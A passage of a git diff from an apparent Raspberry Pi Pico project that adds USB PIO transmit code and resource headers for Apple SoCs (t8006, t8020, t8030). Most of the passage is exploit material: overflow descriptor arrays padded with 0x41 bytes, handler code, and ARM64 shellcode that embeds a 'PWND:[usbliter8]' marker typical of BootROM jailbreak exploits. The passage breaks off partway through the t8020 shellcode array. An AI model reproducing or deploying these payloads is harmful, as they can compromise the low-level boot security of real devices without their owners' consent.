false); + return c; +} +#endif + +// ----------- // +// usb_tx_dmdp // +// ----------- // + +#define usb_tx_dmdp_wrap_target 1 +#define usb_tx_dmdp_wrap 4 +#define usb_tx_dmdp_FJ_LK 2 + +static const uint16_t __not_in_flash("tx_program") usb_tx_dmdp_program_instructions[] = { + 0xc700, // 0: irq nowait 0 side 0 [7] + // .wrap_target + 0x73a2, // 1: out pc, 2 side 2 [3] + 0xf380, // 2: set pindirs, 0 side 2 [3] + 0x6ba2, // 3: out pc, 2 side 1 [3] + 0xf083, // 4: set pindirs, 3 side 2 + // .wrap +}; + +#if !PICO_NO_HARDWARE +static const struct pio_program __not_in_flash("tx_program") usb_tx_dmdp_program = { + .instructions = usb_tx_dmdp_program_instructions, + .length = 5, + .origin = -1, +}; + +static inline pio_sm_config usb_tx_dmdp_program_get_default_config(uint offset) { + pio_sm_config c = pio_get_default_sm_config(); + sm_config_set_wrap(&c, offset + usb_tx_dmdp_wrap_target, offset + usb_tx_dmdp_wrap); + sm_config_set_sideset(&c, 2, false, false); + return c; +} +#endif + +// --------------- // +// usb_tx_pre_dmdp // +// --------------- // + +#define usb_tx_pre_dmdp_wrap_target 1 +#define usb_tx_pre_dmdp_wrap 4 + +static const uint16_t __not_in_flash("tx_program") usb_tx_pre_dmdp_program_instructions[] = { + 0xd700, // 0: irq nowait 0 side 2 [7] + // .wrap_target + 0x73a2, // 1: out pc, 2 side 2 [3] + 0xf380, // 2: set pindirs, 0 side 2 [3] + 0x6ba2, // 3: out pc, 2 side 1 [3] + 0xf083, // 4: set pindirs, 3 side 2 + // .wrap +}; + +#if !PICO_NO_HARDWARE +static const struct pio_program __not_in_flash("tx_program") usb_tx_pre_dmdp_program = { + .instructions = usb_tx_pre_dmdp_program_instructions, + .length = 5, + .origin = -1, +}; + +static inline pio_sm_config usb_tx_pre_dmdp_program_get_default_config(uint offset) { + pio_sm_config c = pio_get_default_sm_config(); + sm_config_set_wrap(&c, offset + usb_tx_pre_dmdp_wrap_target, offset + usb_tx_pre_dmdp_wrap); + sm_config_set_sideset(&c, 2, false, false); + return c; +} + +#include "hardware/clocks.h" +#include "sdk_compat.h" + static void __no_inline_not_in_flash_func(usb_tx_configure_pins)(PIO pio, uint sm, uint pin_dp, uint pin_dm) { + if (pin_dp < pin_dm) { + pio_sm_set_out_pins(pio, sm, pin_dp, 2); + pio_sm_set_set_pins(pio, sm, pin_dp, 2); + pio_sm_set_sideset_pins(pio, sm, pin_dp); + } else { + pio_sm_set_out_pins(pio, sm, pin_dm, 2); + pio_sm_set_set_pins(pio, sm, pin_dm, 2); + pio_sm_set_sideset_pins(pio, sm, pin_dm); + } + } + static inline void usb_tx_fs_program_init(PIO pio, uint sm, uint offset, + uint pin_dp, uint pin_dm) { + pio_sm_set_pins_with_mask64(pio, sm, (1ull << pin_dp), ((1ull << pin_dp) | (1ull << pin_dm))); + gpio_pull_down(pin_dp); + gpio_pull_down(pin_dm); + pio_gpio_init(pio, pin_dp); + pio_gpio_init(pio, pin_dm); + pio_sm_config c = usb_tx_dpdm_program_get_default_config(offset); + // shifts to left, autopull, 8bit + sm_config_set_out_shift(&c, false, true, 8); + sm_config_set_fifo_join(&c, PIO_FIFO_JOIN_TX); + // run at 48MHz + // clk_sys should be multiply of 12MHz + float div = (float)clock_get_hz(clk_sys) / (48000000UL); + sm_config_set_clkdiv(&c, div); + pio_sm_init(pio, sm, offset + 1, &c); + usb_tx_configure_pins(pio, sm, pin_dp, pin_dm); + pio_sm_set_enabled(pio, sm, true); + } + static inline void usb_tx_ls_program_init(PIO pio, uint sm, uint offset, + uint pin_dp, uint pin_dm) { + pio_sm_set_pins_with_mask64(pio, sm, (1ull << pin_dm), ((1ull << pin_dp) | (1ull << pin_dm))); + gpio_pull_down(pin_dp); + gpio_pull_down(pin_dm); + pio_gpio_init(pio, pin_dp); + pio_gpio_init(pio, pin_dm); + pio_sm_config c = usb_tx_dmdp_program_get_default_config(offset); + // shifts to left, autopull, 8bit + sm_config_set_out_shift(&c, false, true, 8); + sm_config_set_fifo_join(&c, PIO_FIFO_JOIN_TX); + // run at 6MHz + // clk_sys should be multiply of 12MHz + float div = (float)clock_get_hz(clk_sys) / (6000000UL); + sm_config_set_clkdiv(&c, div); + pio_sm_init(pio, sm, offset + 1, &c); + usb_tx_configure_pins(pio, sm, pin_dp, pin_dm); + pio_sm_set_enabled(pio, sm, true); + } + +#endif + diff --git a/resources/descriptors_t8006.h b/resources/descriptors_t8006.h new file mode 100644 index 0000000..177f273 --- /dev/null +++ b/resources/descriptors_t8006.h @@ -0,0 +1,45 @@ +const unsigned char ov_descriptors_t8006[] = { + 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x78, 0x0c, 0x1c, 0x80, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x59, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x27, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x09, 0x02, 0x19, 0x00, 0x01, 0x01, 0x05, 0x80, + 0xfa, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x00, 0x00, 0x07, 0x21, + 0x01, 0x0a, 0x00, 0x00, 0x08, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf, + 0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xeb, + 0xec, 0xed, 0xee, 0xef, 0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, + 0xf8, 0xf9, 0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff, 0x41, 0x41, 0x41, 0x41, + 0x41, 0x41, 0x41, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x0c, 0x1c, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x09, 0x02, 0x19, 0x00, 0x01, 0x01, 0x05, 0x80, 0xfa, 0x09, 0x04, 0x00, + 0x00, 0x00, 0xfe, 0x01, 0x00, 0x00, 0x07, 0x21, 0x01, 0x0a, 0x00, 0x00, + 0x08, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf, 0xe0, 0xe1, 0xe2, 0xe3, + 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef, + 0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9, 0xfa, 0xfb, + 0xfc, 0xfd, 0xfe, 0xff, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x78, 0x0c, 0x1c, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x02, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x08, 0x00, 0x40, 0x0e, 0x16, 0x0b, 0x00, 0x00, 0x00, 0xc0, 0x00, + 0x00, 0xfc, 0x1f, 0x00, 0xff, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x78, 0x0c, 0x1c, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; diff --git a/resources/descriptors_t8020.h b/resources/descriptors_t8020.h new file mode 100644 index 0000000..a8011b4 --- /dev/null +++ b/resources/descriptors_t8020.h @@ -0,0 +1,45 @@ +const unsigned char ov_descriptors_t8020[] = { + 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x68, 0x14, 0x01, 0x9c, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x59, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x27, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x09, 0x02, 0x19, 0x00, 0x01, 0x01, 0x05, 0x80, + 0xfa, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01, 0x00, 0x00, 0x07, 0x21, + 0x01, 0x0a, 0x00, 0x00, 0x08, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf, + 0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xeb, + 0xec, 0xed, 0xee, 0xef, 0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, + 0xf8, 0xf9, 0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff, 0x41, 0x41, 0x41, 0x41, + 0x41, 0x41, 0x41, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x14, 0x01, 0x9c, + 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x09, 0x02, 0x19, 0x00, 0x01, 0x01, 0x05, 0x80, 0xfa, 0x09, 0x04, 0x00, + 0x00, 0x00, 0xfe, 0x01, 0x00, 0x00, 0x07, 0x21, 0x01, 0x0a, 0x00, 0x00, + 0x08, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf, 0xe0, 0xe1, 0xe2, 0xe3, + 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef, + 0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9, 0xfa, 0xfb, + 0xfc, 0xfd, 0xfe, 0xff, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x68, 0x14, 0x01, 0x9c, 0x01, 0x00, 0x00, 0x00, + 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x0f, 0x02, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x08, 0x00, 0x40, 0x0e, 0x16, 0x0b, 0x00, 0x00, 0x00, 0xc0, 0x00, + 0x00, 0xfc, 0x1f, 0x00, 0xff, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x68, 0x14, 0x01, 0x9c, 0x01, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; diff --git a/resources/handler_t8006.h b/resources/handler_t8006.h new file mode 100644 index 0000000..591ee50 --- /dev/null +++ b/resources/handler_t8006.h @@ -0,0 +1,13 @@ +const unsigned char handler_t8006[] = { + 0xfd, 0x7b, 0xbf, 0xa9, 0xfd, 0x03, 0x00, 0x91, 0x08, 0x00, 0xc0, 0x39, + 0x48, 0x01, 0xf8, 0x37, 0x08, 0x04, 0x40, 0x39, 0x1f, 0x21, 0x00, 0x71, + 0x60, 0x01, 0x00, 0x54, 0x1f, 0x1d, 0x00, 0x71, 0xa1, 0x00, 0x00, 0x54, + 0x88, 0xda, 0x8f, 0xd2, 0x28, 0x00, 0xc0, 0xf2, 0x00, 0x01, 0x3f, 0xd6, + 0x0e, 0x00, 0x00, 0x14, 0x02, 0x71, 0x9c, 0xd2, 0x22, 0x00, 0xc0, 0xf2, + 0xfd, 0x7b, 0xc1, 0xa8, 0x40, 0x00, 0x1f, 0xd6, 0x88, 0x6a, 0x8d, 0xd2, + 0x28, 0x00, 0xc0, 0xf2, 0x00, 0x01, 0x3f, 0xd6, 0x08, 0xeb, 0x9b, 0xd2, + 0x88, 0x03, 0xb0, 0xf2, 0x28, 0x00, 0xc0, 0xf2, 0x09, 0x73, 0x83, 0xd2, + 0x29, 0x00, 0xc0, 0xf2, 0x09, 0x01, 0x00, 0xf9, 0x00, 0x00, 0x80, 0x52, + 0xfd, 0x7b, 0xc1, 0xa8, 0xc0, 0x03, 0x5f, 0xd6 +}; +unsigned int handler_t8006_len = 116; diff --git a/resources/handler_t8020.h b/resources/handler_t8020.h new file mode 100644 index 0000000..489e380 --- /dev/null +++ b/resources/handler_t8020.h @@ -0,0 +1,13 @@ +const unsigned char handler_t8020[] = { + 0xfd, 0x7b, 0xbf, 0xa9, 0xfd, 0x03, 0x00, 0x91, 0x08, 0x00, 0xc0, 0x39, + 0x48, 0x01, 0xf8, 0x37, 0x08, 0x04, 0x40, 0x39, 0x1f, 0x21, 0x00, 0x71, + 0x60, 0x01, 0x00, 0x54, 0x1f, 0x1d, 0x00, 0x71, 0xa1, 0x00, 0x00, 0x54, + 0x08, 0x9f, 0x8f, 0xd2, 0x28, 0x00, 0xc0, 0xf2, 0x00, 0x01, 0x3f, 0xd6, + 0x0e, 0x00, 0x00, 0x14, 0x82, 0x7d, 0x9c, 0xd2, 0x22, 0x00, 0xc0, 0xf2, + 0xfd, 0x7b, 0xc1, 0xa8, 0x40, 0x00, 0x1f, 0xd6, 0x08, 0x0a, 0x8d, 0xd2, + 0x28, 0x00, 0xc0, 0xf2, 0x00, 0x01, 0x3f, 0xd6, 0x08, 0xe1, 0x9b, 0xd2, + 0x28, 0x80, 0xb3, 0xf2, 0x28, 0x00, 0xc0, 0xf2, 0x89, 0x91, 0x83, 0xd2, + 0x29, 0x00, 0xc0, 0xf2, 0x09, 0x01, 0x00, 0xf9, 0x00, 0x00, 0x80, 0x52, + 0xfd, 0x7b, 0xc1, 0xa8, 0xc0, 0x03, 0x5f, 0xd6 +}; +unsigned int handler_t8020_len = 116; diff --git a/resources/handler_t8030.h b/resources/handler_t8030.h new file mode 100644 index 0000000..493078b --- /dev/null +++ b/resources/handler_t8030.h @@ -0,0 +1,16 @@ +const unsigned char handler_t8030[] = { + 0xf4, 0x4f, 0xbe, 0xa9, 0xfd, 0x7b, 0x01, 0xa9, 0xfd, 0x43, 0x00, 0x91, + 0x08, 0x00, 0xc0, 0x39, 0x48, 0x01, 0xf8, 0x37, 0x08, 0x04, 0x40, 0x39, + 0x1f, 0x21, 0x00, 0x71, 0x80, 0x01, 0x00, 0x54, 0x1f, 0x1d, 0x00, 0x71, + 0xa1, 0x00, 0x00, 0x54, 0x88, 0x65, 0x90, 0xd2, 0x28, 0x00, 0xc0, 0xf2, + 0x00, 0x01, 0x3f, 0xd6, 0x11, 0x00, 0x00, 0x14, 0x82, 0xe6, 0x9d, 0xd2, + 0x22, 0x00, 0xc0, 0xf2, 0xfd, 0x7b, 0x41, 0xa9, 0xf4, 0x4f, 0xc2, 0xa8, + 0x40, 0x00, 0x1f, 0xd6, 0x08, 0xd6, 0x8d, 0xd2, 0x28, 0x00, 0xc0, 0xf2, + 0x00, 0x01, 0x3f, 0xd6, 0x13, 0xe1, 0x9b, 0xd2, 0x33, 0x80, 0xb3, 0xf2, + 0x33, 0x00, 0xc0, 0xf2, 0x61, 0x22, 0x00, 0x91, 0x00, 0x3a, 0x84, 0xd2, + 0x20, 0x00, 0xc0, 0xf2, 0x06, 0x00, 0x00, 0x94, 0x60, 0x02, 0x00, 0xf9, + 0x00, 0x00, 0x80, 0x52, 0xfd, 0x7b, 0x41, 0xa9, 0xf4, 0x4f, 0xc2, 0xa8, + 0xc0, 0x03, 0x5f, 0xd6, 0x20, 0x04, 0xc1, 0xda, 0xc0, 0x03, 0x5f, 0xd6, + 0x20, 0x00, 0x20, 0xd4 +}; +unsigned int handler_t8030_len = 148; diff --git a/resources/shellcode_t8006.h b/resources/shellcode_t8006.h new file mode 100644 index 0000000..8061309 --- /dev/null +++ b/resources/shellcode_t8006.h @@ -0,0 +1,71 @@ +const unsigned char shellcode_t8006[] = { + 0x00, 0x10, 0x38, 0xd5, 0x00, 0xf8, 0x7f, 0x92, 0x00, 0x10, 0x18, 0xd5, + 0x9f, 0x3f, 0x03, 0xd5, 0xdf, 0x3f, 0x03, 0xd5, 0xa0, 0x13, 0x00, 0x58, + 0x1f, 0x00, 0x00, 0x91, 0x38, 0xff, 0xff, 0x10, 0x01, 0xe0, 0x87, 0xd2, + 0x00, 0x03, 0x01, 0x8b, 0xf6, 0x03, 0x00, 0xaa, 0xa1, 0x0e, 0x00, 0x10, + 0xc2, 0x12, 0x00, 0x10, 0x42, 0x00, 0x01, 0xcb, 0xc8, 0x11, 0x00, 0x58, + 0x00, 0x01, 0x3f, 0xd6, 0x01, 0x80, 0x87, 0xd2, 0x00, 0x03, 0x01, 0x8b, + 0xf8, 0x03, 0x00, 0xaa, 0x01, 0x00, 0x00, 0x90, 0x21, 0x80, 0x0c, 0x91, + 0x22, 0x00, 0x40, 0xb9, 0x21, 0x40, 0x00, 0x91, 0xa8, 0x10, 0x00, 0x58, + 0x00, 0x01, 0x3f, 0xd6, 0x60, 0x11, 0x00, 0x58, 0x81, 0x11, 0x00, 0x58, + 0x01, 0x00, 0x00, 0xf9, 0x9f, 0x3f, 0x03, 0xd5, 0x1f, 0x87, 0x08, 0xd5, + 0x9f, 0x3f, 0x03, 0xd5, 0xdf, 0x3f, 0x03, 0xd5, 0x1f, 0x75, 0x08, 0xd5, + 0x9f, 0x3f, 0x03, 0xd5, 0xdf, 0x3f, 0x03, 0xd5, 0x00, 0x10, 0x38, 0xd5, + 0x00, 0x00, 0x40, 0xb2, 0x00, 0x10, 0x18, 0xd5, 0x9f, 0x3f, 0x03, 0xd5, + 0xdf, 0x3f, 0x03, 0xd5, 0x01, 0x10, 0x00, 0x58, 0x38, 0x00, 0x00, 0xf9, + 0x00, 0x10, 0x00, 0x58, 0x1f, 0x7c, 0x00, 0xa9, 0x1f, 0x7c, 0x01, 0xa9, + 0x1f, 0x7c, 0x02, 0xa9, 0x1f, 0x7c, 0x03, 0xa9, 0x41, 0x00, 0x80, 0x52, + 0x01, 0x20, 0x00, 0xb9, 0x81, 0x01, 0x80, 0x52, 0x01, 0x28, 0x00, 0xb9, + 0x01, 0x10, 0x80, 0x52, 0x01, 0x30, 0x00, 0xb9, 0xe1, 0x0e, 0x00, 0x58, + 0x01, 0x0c, 0x00, 0xf9, 0x60, 0x0d, 0x00, 0x58, 0x1f, 0x7c, 0x00, 0xa9, + 0x1f, 0x7c, 0x01, 0xa9, 0x1f, 0x7c, 0x02, 0xa9, 0x1f, 0x7c, 0x03, 0xa9, + 0x01, 0x0c, 0x00, 0xf9, 0x21, 0x04, 0x80, 0x52, 0x01, 0x20, 0x00, 0xb9, + 0x81, 0x80, 0x80, 0x52, 0x01, 0x28, 0x00, 0xb9, 0x01, 0x08, 0x81, 0x52, + 0x01, 0x30, 0x00, 0xb9, 0x61, 0x0d, 0x00, 0x18, 0x80, 0x0d, 0x00, 0x58, + 0x01, 0x00, 0x00, 0xb9, 0x80, 0x0d, 0x00, 0x58, 0x01, 0x00, 0x80, 0xd2, + 0x01, 0x00, 0x00, 0xb9, 0xf3, 0x04, 0x00, 0x10, 0x14, 0x06, 0x00, 0x10, + 0x35, 0x0d, 0x00, 0x58, 0x60, 0x86, 0x40, 0xf8, 0xa0, 0x02, 0x3f, 0xd6, + 0x7f, 0x02, 0x14, 0xeb, 0xa1, 0xff, 0xff, 0x54, 0xc0, 0x0c, 0x00, 0x58, + 0x21, 0x05, 0x00, 0x10, 0xe2, 0x0f, 0x80, 0xd2, 0xe3, 0x0f, 0x80, 0xd2, + 0x88, 0x0c, 0x00, 0x58, 0x00, 0x01, 0x3f, 0xd6, 0x00, 0x0c, 0x00, 0x58, + 0x68, 0x0c, 0x00, 0x58, 0x00, 0x01, 0x3f, 0xd6, 0x61, 0x0c, 0x00, 0x58, + 0x20, 0x00, 0x00, 0x39, 0xe0, 0x03, 0x00, 0x91, 0xff, 0x83, 0x02, 0xd1, + 0xe1, 0x03, 0x00, 0x91, 0x3f, 0x7c, 0x81, 0xa8, 0x1f, 0x00, 0x01, 0xeb, + 0xc1, 0xff, 0xff, 0x54, 0xa1, 0x0b, 0x00, 0x58, 0x21, 0x00, 0x40, 0xf9, + 0xe1, 0x0f, 0x00, 0xf9, 0x81, 0x0b, 0x00, 0x58, 0xe1, 0x3f, 0x00, 0xf9, + 0x81, 0x0b, 0x00, 0x58, 0xe1, 0x07, 0x00, 0xf9, 0x94, 0x0b, 0x00, 0x58, + 0xb5, 0x0b, 0x00, 0x58, 0x38, 0x00, 0x80, 0x52, 0x19, 0x08, 0x80, 0x52, + 0xfc, 0x03, 0x80, 0x52, 0xfa, 0x01, 0x80, 0x52, 0xc0, 0x02, 0x1f, 0xd6, + 0x1f, 0x20, 0x03, 0xd5, 0xc0, 0x8b, 0x1d, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x94, 0x1d, 0x80, 0x01, 0x00, 0x00, 0x00, 0x80, 0x94, 0x1d, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x95, 0x1d, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xc0, 0x95, 0x1d, 0x80, 0x01, 0x00, 0x00, 0x00, 0x20, 0x50, 0x57, 0x4e, + 0x44, 0x3a, 0x5b, 0x75, 0x73, 0x62, 0x6c, 0x69, 0x74, 0x65, 0x72, 0x38, + 0x5d, 0x00, 0x00, 0x00, 0x1f, 0x20, 0x03, 0xd5, 0x00, 0x10, 0x38, 0xd5, + 0x00, 0xf8, 0x7f, 0x92, 0x00, 0x10, 0x18, 0xd5, 0x9f, 0x3f, 0x03, 0xd5, + 0xdf, 0x3f, 0x03, 0xd5, 0x60, 0x02, 0x00, 0x58, 0x81, 0x02, 0x00, 0x58, + 0x02, 0x90, 0x80, 0xd2, 0x88, 0x02, 0x00, 0x58, 0x00, 0x01, 0x3f, 0xd6, + 0x1f, 0x75, 0x08, 0xd5, 0x9f, 0x3f, 0x03, 0xd5, 0xdf, 0x3f, 0x03, 0xd5, + 0x20, 0x02, 0x00, 0x58, 0x00, 0x10, 0x18, 0xd5, 0x9f, 0x3f, 0x03, 0xd5, + 0xdf, 0x3f, 0x03, 0xd5, 0x20, 0x40, 0x80, 0xd2, 0x00, 0xe1, 0x18, 0xd5, + 0xa0, 0x01, 0x00, 0x58, 0x20, 0x40, 0x18, 0xd5, 0x00, 0x20, 0x80, 0xd2, + 0x00, 0x40, 0x18, 0xd5, 0xe0, 0x03, 0x9f, 0xd6, 0x00, 0x80, 0x1c, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x7a, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x10, 0x0c, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x8d, 0x5b, 0xdd, 0x34, + 0x00, 0x00, 0x00, 0x00, 0x70, 0xc3, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0xc0, 0x8b, 0x1d, 0x80, 0x01, 0x00, 0x00, 0x00, 0x90, 0x43, 0x1b, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xe3, 0x86, 0x1c, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xf8, 0x03, 0x1c, 0x80, 0x01, 0x00, 0x00, 0x00, 0xc0, 0x95, 0x1d, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x78, 0x0c, 0x1c, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x96, 0x1d, 0x80, 0x00, 0x00, 0x00, 0x00, 0x14, 0x0b, 0x10, 0x30, + 0x02, 0x00, 0x00, 0x00, 0x30, 0x40, 0x1c, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xec, 0xf5, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xd8, 0xb3, 0x1b, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xb8, 0x0b, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x10, 0xd5, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x7a, 0x89, 0x1b, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xb8, 0x84, 0x1b, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x38, 0xac, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xa8, 0x0b, 0x10, 0x30, + 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x30, 0x02, 0x00, 0x00, 0x00, + 0x00, 0xfe, 0x1b, 0x80, 0x01, 0x00, 0x00, 0x00, 0xad, 0xde, 0xad, 0xde, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; +unsigned int shellcode_t8006_len = 816; diff --git a/resources/shellcode_t8020.h b/resources/shellcode_t8020.h new file mode 100644 index 0000000..f92c53e --- /dev/null +++ b/resources/shellcode_t8020.h @@ -0,0 +1,71 @@ +const unsigned char shellcode_t8020[] = { + 0x00, 0x10, 0x38, 0xd5, 0x00, 0xf8, 